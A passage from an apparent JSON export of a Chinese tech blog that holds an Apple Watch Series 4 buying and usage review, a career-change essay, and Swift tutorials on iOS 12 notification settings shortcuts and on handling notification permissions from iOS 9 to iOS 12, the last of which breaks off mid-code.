續航力、便攜性、Retina顯示器[2019–05–02更新]:蘋果全家桶的設備再添一項, AirPods 2 (開箱及上手體驗請點此)為何想買Apple Watch? 記錄運動情況、心率狀況 跑步不想帶手機 減少使用手機的時間,但又不想露接重要資訊 大包小包的時候能不用掏出手機/使用Apple Pay 靠近自動解鎖MacBook(我的MacBook Pro非Touch Bar版本,打密碼打得心很累) 騎車看導航 潮!沒用過,想買來玩玩 想寫 WatchOS APP開始挑選…綜合以上因素開始挑選適合的Apple Watch;撇除錶帶材質,單論本體有三種版本可供選擇: 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS = $12,900(40mm) / $13,900 (44mm) 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS+行動網路 = $16,500(40mm) / $17,500 (44mm) 不鏽鋼錶殼+藍寶石硬邦邦玻璃+GPS+行動網路 = $22,900(40mm) / $24,900 (44mm)我個人是買 2. 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS+行動網路 44 mm錶面的部分:大小有40mm/44mm兩種,實際依照個人手腕大小做選擇,太大可能會不合手、心率偵測不準確;太小則戴起來看起來很怪左44mm/右40mm (感謝同事友情支援)如果一時找不到東西比較,可以拿一個日拋隱形眼鏡的匣子作比較約=44mm (實際測量44.5mm)這裡附上筆者的手給大家參考,若還是不確定大小最好還是跑一趟101門市去試戴看看(我當初也是先瞄準40mm,結果去實際帶過才發現太小…)*Apple Watch 3 38mm與 Apple Watch 4 40 mm 大小ㄧ樣錶帶通用 *Apple Watch 3 42mm與 Apple Watch 4 44 mm 大小ㄧ樣錶帶通用錶殼材質有鋁金屬錶殼+可能會刮傷的玻璃表面 和 不鏽鋼錶殼+藍寶石硬邦邦玻璃 兩種,預算充足的朋友當然建議選擇後者;個人因預算不足只好選擇前者;為何要選擇不鏽鋼錶殼+藍寶石硬邦邦玻璃版本呢?1.雖然本體較重(運動時可能會感覺到)但在生活上更容易與穿搭配合,皮革錶帶或金屬錶帶與不修綱機身搭配加上商務衣著能有更一致的品味觀感;休閒或運動時更換運動型錶帶也不失優雅,能動能靜!2.藍寶石硬邦邦玻璃不必費神擔心錶面刮傷(個人使用經驗:我的上一隻 iPhone 6 裸機使用一年多;沒特別傷害它,日常就放口袋、放桌上;螢幕還是刮得亂七八糟但鏡頭部分使用藍寶石硬邦邦玻璃所以完好如初)但我買的是一般版本…如果你上網搜尋Apple Watch貼膜的文章會找到兩派的人,一派支持認為會刮傷要貼膜;另一派反對認為是使用習慣問題、沒那麼脆弱會刮傷、你有看勞力士有貼膜?或你是佛系使用者買來就是要用、消耗性產品那也沒這困擾我個人有點強迫症有刮傷會不爽,所以支持要貼膜;使用習慣問題? 我覺得只有撞到才是使用習慣不良,日常粉塵傷害實在難防如果你也要貼膜,在這裡給你個建議「多花點錢找人貼」,一般我的手機都是自己貼的,為什麼說Apple Watch要找人貼?這部分搞得我心很累,首先我在Pchome買東京*用的玻璃鋼化保護貼來貼($399),硬膜/只有邊框有膠,貼上去中間呈現一個中空狀態不密合觸控超級不靈敏(認真懷疑廠商是不是沒測試過?),所以貼一下就撕掉了;第二次嘗試是買g*r軟膜($100/兩片)全膠能密合,但軟的很難貼容易有氣泡;兩片都試了還是有一點氣泡很礙眼,而且不疏油疏水用起來不順手。最後花了$990給人家貼好(x豪包膜) h*a果凍膠玻璃貼,密合、沒氣泡、滿版、疏油疏水如果還是想要自己嘗試貼膜的可以找找水凝膜。貼膜後的手感當然不比原生好(個人感覺大約 97分:100分)而且螢幕會高一小截 ,取捨就看個人囉!3.錶殼部分不鏽鋼較耐撞、刮傷可重新拋光,看同事的不鏽鋼版本完好如初沒任何刮傷;錶殼部分我比較不在意,真的在意的朋友或許可以包膜(?不鏽鋼版本 (感謝同事友情支援)所以預算充足的朋友還是建議升不銹鋼版本.關於選購保護殼:保護貼很容易碎邊,我在沒有保護殼(套)的狀態下,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張$990…之前共換了三張,快吐血;目前用保護套之後已經過了4個月都還完好如初! 建議「至少要用邊框保護套」哪一牌子都可 我的血淚教訓只想說一句相見恨晚,早知道有保護套這種產品就不用多花冤望錢!要不要買支援行動網路的版本?這部分我持保留態度;個人是有買行動網路版本,以後跑步運動就不用帶手機另外考量到要戴個2~3年不確定未來如何所以就先升級囉,但如果你預算有限,且不會沒帶手機出門,那可以只買WiFi版本就好(價差$3600)請考量以下幾點: 目前Spotify不支援離線播放,運動聽音樂還是要帶手機 (2018/11/21)p.s Apple Music/KKBOX 支援離線播放沒這問題 Apple Watch APP不多,能做的事也只有打電話/回訊息/回Line/回Fb Messenger/Apple Pay 僅此而已*Apple Pay不需行動網路版就能離線使用 行動網路使用需額外申辦並繳交每個月$199電信費(中華/~2018/12/31前申辦優惠價$149),網路流量吃原本手機的方案 行動網路的運作方式是手錶將資料透過電信傳輸到手機再透過手機發送出去,因此你的 手機也必須處於開機狀態下才能使用手錶. *所以手機沒電關機…手錶也不能用,即使有辦行動網路[2020–10–24 更新] :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置->Apple Watch->連線藍牙耳機->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。購買上週(2018/11/11)實際跑了一趟101沒有我要的貨,於是從網路下單由大陸發貨,11/11下單,11/12出貨,11/15準時送達:開箱拿到的時候很興奮直接拆開來用就沒做記錄了,開箱部分可參考網路: Apple Watch Series 4体验 全面屏手表,是你吗 ? (大陸) 、 Apple Watch series 4完整開箱!其中三點功能超有 感 (台灣)補張開箱圖入手部分到此結束….開始上手配對、基礎設定這裡就不再贅述,可參考上面開箱文;這裡假定你已經都弄好開始使用Apple Watch了附一張按鈕圖 — Apple官方支援中心「Digital Crown」= 「數位錶冠」「Side Button」= 「側邊按鈕」按鈕操作部分: 點一下數位錶冠在主畫面與錶面之間切換 點兩下數位錶冠切換到最近開啟的APP 點一下側邊按鈕呼出Dock (多工視窗),可設定顯示最近開啟的APP或自訂喜好的APP (打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->Dock->Dock排列) 點兩下側邊按鈕呼出Apple Pay,這時感應就會直接付款p.s Apple Pay預設卡片修改請打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->錢包與Apple Pay->交易預設值->預設卡片->選擇您要預設的卡片* 無法修改順序,只能指定某一張卡為預設放在第一 長壓側邊按鈕呼出系統選單「關閉電源」或「開機」、顯示醫療卡、播打SOS緊急電話Apple Watch 螢幕截圖功能很重要,所以放第一個,怎麼截Apple Watch的螢幕圖:打開「iPhone」上的「Watch」 APP ->「我的手錶」頁-> 進入「一般」-> 「啟用螢幕快照」打開在Apple Watch上同時按下數位錶冠和側邊按鈕,螢幕出現光影掠過效果後即表示截圖完成;這時打開iPhone就能看到截圖的相片囉!揚聲器手錶內建揚聲器只能通話時使用、播放提示音不能播放音樂;如果覺得用手錶講電話大家都會聽到可使用藍牙耳機各圖示狀態說明請參閱官方文件Apple Watch與iPhone之間的連線手錶在手機附近時使用藍牙,距離太遠時使用WiFi左邊表示連線中斷中,右邊表示連線正常中iPhone APP的通知傳送到Apple Watch手錶預設會吃iPhone上APP的通知設定,也可特別關閉某些APP的通知不要傳送到手錶(打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->「通知」->拉到最下方可針對各APP調整) 若APP沒在此列表出現則表示該APP本來就沒在iPhone上開啟通知功能(請去「iPhone」上的「設定」->「通知」->打開該APP通知功能) 為什麼有的通知會有提示音/震動有的不會?這項設定是吃iPhone上APP的通知設定,APP「通知」有開啟「聲音」就會有提示音及震動 大部分的APP通知都只支援查看,部分可支援操作(如Line的通知可點擊在手錶上回覆) 手機未使用狀態+手錶配戴中,手錶才會跳新通知提示/手機端不會響但依然會出現在通知中心;避免出現手機與手錶都同時響的情況APP有支援For Apple Watch時 預設在安裝APP時該APP有支援For Apple Watch的APP時也會一併在Apple Watch上安裝該APP(可從「iPhone」上的「Watch」 APP ->「我的手錶」頁->「一般」->關閉「自動APP安裝」) 能不能只安裝Apple Watch APP?不行,目前無法獨立安裝Apple Watch APP;一定在iPhone都會有一個APP 不想安裝Apple Watch版的APP從「iPhone」上的「Watch」 APP ->「我的手錶」頁->滾動到下方「已在APPLE WATCH上安裝」部分點進去->關閉「顯示App於Apple Watch」 APP寫支援「複雜功能」的意思就是支援錶盤小工具錶面設計隨便你玩隨便你放,你覺得哪些資訊重要或怎樣設計比較美都看個人;我是把「我隨時看手錶都會想知道的資訊」放在錶盤上,也可以加入多個錶面作切換。手電筒你沒看錯,Apple Watch也有手電筒;在錶面頁由底部上拉出選單找到「手電筒」符號的按鈕,進入後可以左右切化畫面顏色;沒錯,就是螢幕高亮顏色而已!比較特別的是還有一個爆閃模式:讓夜間活動更安全!各個模式「靜音模式」- 所有通知都靜音、都不震動、不亮螢幕提示,僅顯示在通知中心「劇院模式」- 抬手不會喚醒螢幕,要點擊螢幕才會喚醒「水中鎖定」- 螢幕觸控鎖定,要轉動數位錶冠後才能解鎖,解鎖後揚聲器會自動播放聲音排出積水「飛航模式」- 關閉所有外部連線「省電模式」- 真的很省電!只剩下按數位錶冠顯示時間功能,其他完全關閉,幾乎等於關機狀態;退出省電模式要按住側邊按鈕(同開機)以上所有模式,鬧鐘、倒數功能皆會照樣響「省電模式下會強制開機」抬手腕直接呼叫Siri只要抬起手腕,螢幕點亮後,可以直接說話使用Siri!,不用說「Hey! Siri」(EX: 抬手後直接說 “明天天氣” )。在手機離你有一段距離時也能使用Siri(EX:曬衣服的時候)。[2019–05–02更新]:更上一層的Siri體驗?請參考 AirPods 2 開箱及上手體驗心得 中的 Siri部分,AirPods 2 的 Siri 有戴耳機就能直接使用,連抬手腕都不用了。AQI空氣品質無法顯示?內建的AQI似乎不支援台灣地區,要去「App Store」搜尋「在意空氣」下載安裝+開啟後,再到錶盤設計複雜功能的地方改選擇「在意空氣」即可用Apple Watch解鎖Mac電腦 確認你的iPhone/Apple Watch/Mac電腦登入的是同個Apple帳號 確認你的Apple帳號有開啟 雙重認證 系統在檢測到你的Apple帳號有Apple Watch裝置之後就會在「系統偏好設置」->「安全與隱私權」->「一般」->新增一行「允許Apple Watch解鎖您的Mac」->「打勾即可」若一直啟用失敗,請先確認你的Apple帳號有開啟雙重認證(非 雙步認證 )或試試重啟電腦!p.s 我公司的Mac Mini就是一直無法啟用,重啟之後就正常了相片打開空白?預設顯示iPhone上喜愛的項目,打開iPhone的「相片」在想要傳到手錶上的相片點「愛心」就會出現了活動紀錄及體能訓練活動紀錄每日有三個圈圈三個目標:1. 站立(藍):每一小時有站立1分鐘就算達成1次2. 運動(綠):超越快走強度的活動時間才會被計算3.活動(紅):燃燒的動態卡路里數,有在動就會增加詳細可查看iPhone上「健康」APP有詳細解說。每日達成紀錄會提示,另外可在Apple Watch上的「活動紀錄」APP重壓調整活動目標值(預設一天活動360大卡就達標了)體能訓練部分跑步我是使用Nike Run Club +沒使用內建的,上週去騎腳踏車試用內建的體能訓練->「室外單車」做紀錄,會記錄高度/距離/時間/路徑/心律 讚讚!地圖功能?目前僅支援Apple Map,Google Map暫時不支援,打開「地圖」搜尋或選擇個人資訊設定的公司住家地址(來源:聯絡資訊->我的名片)或聯絡資訊或自行輸入目標;開始導航後每個轉折點都是一張卡,依據行駛自動跳頁,可轉動查看,點擊可進入查看地圖內容,距離剩下40公尺的時候會震動提示你,重壓可結束導航.這部分只是把你手機的Apple Map資訊傳到手錶上(手錶導航時手機的導航也會自動打開)實際使用感想:Apple Map的地標很少難搜尋、好像只會導大路,明明有雙線道、更快、沒塞車的路線卻不導…所以還是期待Google Map更新吧,這個就先加減用了這裡附上一個Siri捷徑: 使用Apple Map開啟Google Map項目藍芽拍照按鈕Apple Watch 打開 「相機」這時手機的相機也會打開,就能用手錶控制手機的相機進行拍照、錄影,重壓進行切換鏡頭/設定相機.我的手機在哪裡啊?在錶面頁由底部上拉出選單找到一個「手機在震動的Icon」點擊後手機就會發出聲響! 手機在靜音、無擾狀態下依然會發出聲響 重壓Icon手機除了發出聲響之外還會發出閃光燈p.s 反過來手機要找手錶則無此功能,若是遺失要找請從「尋找iPhone」中尋找訊息輸入無法辨識手寫中文字、語音也聽無中文覺得這是Bug…在訊息中重壓「麥克風」或「手寫」Icon 呼出選單>「選擇語言」->「中文」另一方法是,打開「iPhone」->「設定」->「一般」->「鍵盤」->「聽寫」->「聽寫語言」->只勾「國語」這樣你的語音輸入就只聽得懂國語了,手機部分一併受到影響關閉深呼吸提醒/關閉站立提醒打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->呼吸->關閉呼吸提醒打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->活動紀錄->關閉站立提醒手錶想設定更複雜的密碼打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->密碼->簡易密碼->關閉->則可設定6位數密碼電話進來手錶能顯示Whoscall資訊嗎?不行。會頓嗎?實際與同事的Apple Watch S3相比,S4 開啟APP幾乎不用Loading、開機也很快實測可參考這部影片: 【最新】4代 Apple Watch Series 4 速度實測 音量比較耗電嗎?我的配戴時間只有起床~洗澡前,睡覺不戴(床靠牆怕無意識時敲到牆壁),洗澡前拆下來充電 晚上12點充滿電拆下放著,隔天早上8點大約剩下95% 晚上12點充滿電拆下放著, 切換飛航模式 ,隔天早上8點大約剩下98%一整天下來約配戴15小時,沒刻意一直玩的話大約剩下65%電量,很能撐,勉強可以兩天一充.*第一次充電可能需要較長時間*前幾天電池效能可能還沒發揮會較耗電實用APP推薦1. 在意空氣 (免費):支援錶盤複雜功能AQI資訊2. 秒速記帳 ($60):快速記帳軟體、支援錶盤複雜功能,有試過這套跟C*Money,但C*Money 要$120 而且供介面太過複雜,個人用不上手;所以比較推薦這款3. Bus+ (免費):查詢公車資訊,原本使用的是台北等公車但該APP不支援Apple Watch,只好忍痛捨棄;Bus+與台北等公車邏輯有所不同,Bus+是以站為基礎,這邊個人的設定方法是;分常用的地點(家裏/公司/捷運站)再把有經過的公車路線加入Bus+4. Nike+ Run Club (免費):跑步記錄APP5. Shazam (免費):按一下辨識音樂(雖然直接問Siri也可以),還有另一款soundhound,個人實測是Shazam比較快6. 雙北市Ubike+ (免費):查看鄰近的/收藏的Ubike站可借跟可停數量7. 錄音機 (免費):快速使用Apple Watch錄音、傳輸到手機8. 倒數日 (免費):查看紀念日/未來事件倒數9. Advanced Calculator For Apple Watch OS (免費):在Apple Watch上使用小計算機Line,Spotify….e.t.c總結及使用一週心得佩戴至今快滿兩週,從原本很新奇的心情到現在已經平淡地融入到生活;到目前為止對生活有感的幫助:解鎖MAC我不用在打冗長的密碼(公司規定離開座位要登出)、即時查看天氣狀況、看看導航、APP通知、看看心律關心一下健康,差不多就如此而已;支援的APP及功能實在太少.使用手機的時間有減少?沒有特別感覺 ,因為收到通知我還是習慣用手機回,手錶回要用語音…在大庭廣眾下…用手寫的又非常慢;再者許多APP是不支援Apple Watch的動輒$12,900起跳真的值得嗎?破萬的手錶有更多很好的選擇,但要連動頻果全家桶就只有一個;如果你只是想單純買隻名錶那大可不必使用Apple Watch;如果你想要能解決日常瑣碎的手錶可以考慮;如果你想要奢侈品+解決日常瑣碎可以考慮不鏽鋼甚至是Hermès版!購買至今曾經有想退掉的念頭,總覺得$17,500能做很多事,花在一隻手錶上好像不太值得,但他的確又對日常生活是有幫助的,這個幫助值不值$17,500呢?我覺得目前不值,等Apple Watch APP生態系更有規模一點再來評估了,目前就是奢侈品XD,因為爽、潮、衝動所以買.其他項目就等大家自行體會囉-[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往手錶都買了,不考慮AirPods 2耳機嗎?請看下一篇>> AirPods 2 開箱及上手體驗心得自己的Apple Watch App 自己開發:請看 動手做一支 Apple Watch App 吧!(Swift)想在手錶控制智慧家電?請看 智慧家居初體驗 — Apple HomeKit & 小米米家使用三個月後心得:詳細請看 這篇1.滿版貼做家事時撞到破了換了一次(吐血)2.增購了一副皮製錶帶:nomad Apple Watch 錶帶有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)", "url": "/posts/f644db1bb8bf/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, ios, swift, push-notification, ios-12", "date": "2018-11-12 22:38:42 +0800", "snippet": "iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)除了從系統關閉通知,讓使用者還有其他選擇緊接著前三篇文章: iOS ≥ 10 Notification Service Extension 應用 (Swift) 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)我們繼續針...", "content": "iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)除了從系統關閉通知,讓使用者還有其他選擇緊接著前三篇文章: iOS ≥ 10 Notification Service Extension 應用 (Swift) 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)我們繼續針對推播進行改進,不管是原有的技術或是新開放的功能,都來嘗試嘗試!這次是啥?iOS ≥ 12 可以在使用者的「設定」中增加您的APP通知設定頁面捷徑,讓使用者想要調整通知時,能有其他選擇;可以跳轉到「APP內」而不是從「系統面」直接關閉,ㄧ樣不囉唆先上圖:「設定」->「APP」->「通知」->「在APP中設定」另外在使用者收到通知時,若欲使用3D Touch調整設定「關閉」通知,會多一個「在APP中設定」的選項供使用者選擇「通知」->「3D Touch」->「…」->「關閉…」->「在APP中設定」怎麼實作?這部分的實作非常簡單,第一步僅需在要求推播權限時多要求一個 .providesAppNotificationSettings 權限即可//appDelegate.swift didFinishLaunchingWithOptions or....if #available(iOS 12.0, *) { let center = UNUserNotificationCenter.current() let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional,.providesAppNotificationSettings] center.requestAuthorization(options: permissiones) { (granted, error) in }}在詢問過使用者要不要允許通知之後,通知若為開啟狀態下方就會出現選項囉( 不論前面使用者按允許或不允許 )。第二步:第二步,也是最後一步;我們要讓 appDelegate 遵守 UNUserNotificationCenterDelegate 代理並實作 userNotificationCenter( _ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) 方法即可!//appDelegate.swiftimport UserNotifications@UIApplicationMainclass AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { if #available(iOS 10.0, *) { UNUserNotificationCenter.current().delegate = self } return true } //其他部份省略...}extension AppDelegate: UNUserNotificationCenterDelegate { @available(iOS 10.0, *) func userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) { //跳轉到你的設定頁面位置.. //EX: //let VC = SettingViewController(); //self.window?.rootViewController.present(alertController, animated: true) }} 在Appdelegate的didFinishLaunchingWithOptions中實現代理 Appdelegate遵守代理並實作方法完成!相較於前幾篇文章,這個功能實作相較起來非常簡單 🏆總結這個功能跟 前一篇 提到的先不用使用者授權就發干擾性較低的靜音推播給使用者試試水溫有點類似!都是在開發者與使用者之前架起新的橋樑,以往APP太吵,我們會直接進到設定頁無情地關閉所有通知,但這樣對開發者來說,以後不管好的壞的有用的…任何通知都無法再發給使用者,使用者可能也因此錯過重要消息或限定優惠.這個功能讓使用者欲關閉通知時能有進到APP調整通知的選擇,開發者可以針對推播項目細分,讓使用者決定自己想要收到什麼類型的推播。以 結婚吧APP 來說,使用者若覺得專欄通知太干擾,可個別關閉;但依然能收到重要系統消息通知. p.s 個別關閉通知功能是我們APP本來就有的功能,但透過結合iOS ≥12的新通知特性能有更好的效果及使用者體驗的提升有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "永遠保持探索新事物的熱忱", "url": "/posts/8d863bcd1c55/", "categories": "ZRealm, Life.", "tags": "ios-app-development, back-end-development, life-lessons, 生活, medium", "date": "2018-11-04 02:54:07 +0800", "snippet": "永遠保持探索新事物的熱忱從踏入資訊領域到轉戰iOS APP開發的人生契機Bangkok 2018 - Z Realm — 解決問題的道路上你並不孤單時間過得真快,從Back End轉跳開發Mobile iOS APP 滿一年、開始寫Medium也滿一個月,第10篇小小小里程碑就容我寫一篇自我突破轉換跑道心得。永遠保持探索新事物的熱忱「探索的本能促使人類偉大的成就」從古代哥倫布探索海洋發現新大...", "content": "永遠保持探索新事物的熱忱從踏入資訊領域到轉戰iOS APP開發的人生契機Bangkok 2018 - Z Realm — 解決問題的道路上你並不孤單時間過得真快,從Back End轉跳開發Mobile iOS APP 滿一年、開始寫Medium也滿一個月,第10篇小小小里程碑就容我寫一篇自我突破轉換跑道心得。永遠保持探索新事物的熱忱「探索的本能促使人類偉大的成就」從古代哥倫布探索海洋發現新大陸、萊特兄弟改良飛機征服天空到現在離開地球探索外太空;唯有對新事物充滿熱忱才能不斷地超越自己,或許我們不能像阿姆斯壯偉大,但是如同他所說的「你的一小步,可能是人的一大步」不要低估自己的創造力才能.契機機會來的時候要好好把握,因為不能保證會有第二次;你可能會猶豫或許下一個更好或懼怕下了錯誤的決定,但是「Who know s ? 是太陽先升起還是意外先來臨 」如果沒有負面的影響那就張開雙手握住機會吧!時間退回到2009年,剛進入彰工綜合高中就讀高一的我,在一次偶然的機會下得知學校有在培訓選手去參加比賽,當初的想法是「反正回家也沒事不如去學學東西」就去報名加入了;是我人生的第一個轉捩點,就此踏入資訊領域;加入選手培訓很辛苦,每天下課+六日+寒暑假三年的時間都在學校練習、風險也很高,沒比到名次就幾乎什麼都沒有;但就結果來說還好當時有把握住這個契機(選手一路走來的心路歷程以後再補上)全國技能競賽 - 勞動部勞動力發展署這個契機讓我學到了很多吃飯的技術,設計的illustrator/Photoshop/Flash、工程的PHP/Mysql/Html/CSS/Javascript/Jquery,並藉由比賽冠軍資格保送臺科大就讀;回頭來看,真的好險,好險有把握這個機會!時間快轉到2017年大學畢業依然是以後端工程師的職務進入職場,對於做網頁這件事,大學開始主要專精於做後端(Laravel),前端的部分就沒什麼在研究了,都使用現成框架(Bootstrap/Semantic UI)這時的瓶頸是在同個領域太久且一直沒有突破性的發展,所以當初給自己下了新的目標: 繼續深入探索後端 轉換行銷(GA)/企劃領域 學新語言/寫APP這時候契機又出現,我加入的專案要開始開發移動平台應用;但起初我的設定是我去寫API後端,用Laravel加一些新技術對我也算是種突破;這邊要提到一件事,做決定時要把眼光放遠,當初預設選擇繼續後端的原因是惰性加上我覺得踏入的成本很高,因為那時沒有Mac再加上是一個全新的領域,還好有主管的提點,最終還是選擇踏入iOS APP開發.2018年的現在,開發iOS APP剛好滿一年,收穫的部分:學習了新的語言Swift、iOS APP開發、自己寫的APP上架的成就感、開始寫Medium?;還好有把握住這個機會,等於為我的職涯又開了另一扇窗!For工程的後端轉戰iOS APP開發的心得「都是寫程式不都差不多?」隔行如隔山…初期有人指點會比較快,因為很多觀念都跟網頁開發不太ㄧ樣,會經歷一陣子的撞牆期,要撐住!就能看到成功的曙光!我自己也撞牆了快一個月,稍微有脈絡之後你會遇到 第二次撞牆期 ,這時候要越挫越勇,從錯誤中學習,用時間換經驗(如果你時間不夠建議去上入門課或找個師傅帶你) 開發環境 :以往寫PHP我們用Sublime打一打,Ctrl+S然後Ctrl+Tab切換到瀏覽器Ctrl+R就能快速看到結果;現在要使用Xcode,然後部署到模擬器或手機上才看得到結果;這部分正好能改善我急性子的個性XD. 語言部分 :Swift比較Morden、強型別、更有結構,一開始可能不太習慣,但用上手後就沒什麼問題了 Storyboard/Interface Builder :這部分降低新手的入門門檻,如果一開始就要用code刻畫面學習起來會更辛苦;可以直接視覺化玩轉UI、學習排版、拉拉Outlet 記憶體跟頁面排版結構 :這是比較需要注意的項目,也是我說用時間換經驗的部分;以往做網頁沒有什麼極限,要做什麼就做什麼;就以表格來說,網頁就打<table>然後跑PHP迴圈把資料顯示出來,但在APP上就要使用UITableview元件來實作(想當初用UIView排出來然後很高興跟主管說我做好了!結果發現記憶體一個大爆炸)其他還有記憶體洩漏的部分也要多注意! 應用上線 :APP開發要更小心、測試要更細心;因為不像網頁能有錯就改,iOS APP上版本要經過審核、有BUG也不能降版,所以有BUG至少要花一天才能修復,對使用者影響很大! 使用者評論 :使用者可給你最直接的評論五顆星暖心、一顆心痛心總結@returntothesources人生就是充滿不確定性才有趣,對於來到的機會,你選擇把握就會有所收穫;你選擇放手,下個機會或許更好,沒有什麼對或錯,總之相信自己的直覺「擇你所愛,愛你所擇」給自己的期許目前還很菜會持續在iOS APP開發上打滾,朝著未來學習、成長尋找突破點、保持寫Medium的習慣,下一個契機是什麼?我也很期待!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)", "url": "/posts/fd7f92d52baa/", "categories": "ZRealm, Dev.", "tags": "ios, push-notification, observables, ios-app-development, swift", "date": "2018-11-02 23:23:44 +0800", "snippet": "從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案做什麼?接續前一篇「 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 」提到的推播權限取得流程優化,經過上一篇Murmur部分寫的優化之後又遇到了新的需求: 使用者若關閉通知功能,我們能在特定功能頁面提示他去設定開啟 跳轉至設定頁後...", "content": "從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案做什麼?接續前一篇「 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 」提到的推播權限取得流程優化,經過上一篇Murmur部分寫的優化之後又遇到了新的需求: 使用者若關閉通知功能,我們能在特定功能頁面提示他去設定開啟 跳轉至設定頁後,若有打開/關閉通知的操作,回到APP要能跟著更改狀態 沒詢問過推播權限時詢問權限,有詢問過但是不允許則跳提示,有詢問過又是允許則能繼續操作 iOS 9 ~ iOS 12 都要支援1~3 都還好,使用 iOS 10 之後的Framework UserNotifications 差不多都能妥善的解決,麻煩的是第4項 要能支援 iOS 9,iOS 9要使用 registerUserNotificationSettings 舊的方式處理起來並不容易;就讓我們一步一步做起吧!思路及架構:首先宣告一個全域的 notificationStatus物件 儲存通知權限狀態 並在需要處理的頁面加上屬性監聽(這邊我使用 Observable 做屬性變化的訂閱、可自行找適合的KVO或用Rx、ReactiveCocoa)並在 appDelegate 中 didFinishLaunchingWithOptions (APP初始打開時)、applicationDidBecomeActive (從背景狀態回復時)、didRegisterUserNotificationSettings (≤iOS 9 的推播詢問處理) 這些方法中處理檢查推播通知權限狀態並更改 notificationStatus 的值需要做處理的頁面就會觸發並作相對應的處理(EX: 跳出通知被關閉提示)1. 首先宣告全域 notificationStatus 物件enum NotificationStatusType { case authorized case denied case notDetermined}var notificationStatus: Observable<NotificationStatusType?> = Observable(nil)notificationStatus/NotificationStatusType 的四種狀態分別對應: nil = 物件初始化…檢測中… notDetermined = 未詢問過使用者要不要接收通知 authorized = 已詢問過使用者要不要接收通知且按「允許」 denied = 已詢問過使用者要不要接收通知且按「不允許」2. 構建檢測通知權限狀態的方法:func checkNotificationPermissionStatus() { if #available(iOS 10.0, *) { UNUserNotificationCenter.current().getNotificationSettings { (settings) in DispatchQueue.main.async { //注意!要切回主執行緒 if settings.authorizationStatus == .authorized { //允許 notificationStatus.value = NotificationStatusType.authorized } else if settings.authorizationStatus == .denied { //不允許 notificationStatus.value = NotificationStatusType.denied } else { //沒問過 notificationStatus.value = NotificationStatusType.notDetermined } } } } else { if UIApplication.shared.currentUserNotificationSettings?.types == [] { if let iOS9NotificationIsDetermined = UserDefaults.standard.object(forKey: \"iOS9NotificationIsDetermined\") as? Bool,iOS9NotificationIsDetermined == true { //沒問過 notificationStatus.value = NotificationStatusType.notDetermined } else { //不允許 notificationStatus.value = NotificationStatusType.denied } } else { //允許 notificationStatus.value = NotificationStatusType.authorized } }}以上還沒結束! 眼尖的朋友應該在≤ iOS 9的判斷之中發現”iOS9NotificationIsDetermined”這個自訂的UserDefaults,那它是用來幹嘛的呢?主因是≤iOS 9的檢測推播權限方法只能用獲取目前的權限有哪些作為判斷,若為空則代表無權限,但在沒詢問過權限的情況下也是會是空白;這時候麻煩就來了,使用者究竟是沒問過還是問過按不允許?這邊我使用了一個自訂的UserDefaults iOS9NotificationIsDetermined作為判斷開關,並在appDelegate的didRegisterUserNotificationSettings中加入://appdelegate.swift:func application(_ application: UIApplication, didRegister notificationSettings: UIUserNotificationSettings) { //iOS 9(含)以下,跳出詢問要不要允許通知的視窗後,按下允許或不允許都會觸發這個方法 UserDefaults.standard.set(\"iOS9NotificationIsDetermined\", true) checkNotificationPermissionStatus()}通知權限狀態的物件、檢測的方法都構建好後,appDelegate裡我們還要再加上…//appdelegate.swiftfunc application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { checkNotificationPermissionStatus() return true}func applicationDidBecomeActive(_ application: UIApplication) { checkNotificationPermissionStatus()}APP初始跟從背景返回都要再檢測一次推播狀態如何以上就是檢測的部分,再來我們來看如果是未詢問該怎麼處理要求通知權限3. 要求通知權限:func requestNotificationPermission() { if #available(iOS 10.0, *) { let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound] UNUserNotificationCenter.current().requestAuthorization(options: permissiones) { (granted, error) in DispatchQueue.main.async { checkNotificationPermissionStatus() } } } else { application.registerUserNotificationSettings(UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil)) //前面appdelegate.swift的didRegisterUserNotificationSettings會處理後續callback }}檢測跟要求都處理完囉,我們來看看如何應用4. 應用(靜態)if notificationStatus.value == NotificationStatusType.authorized { //OK!} else if notificationStatus.value == 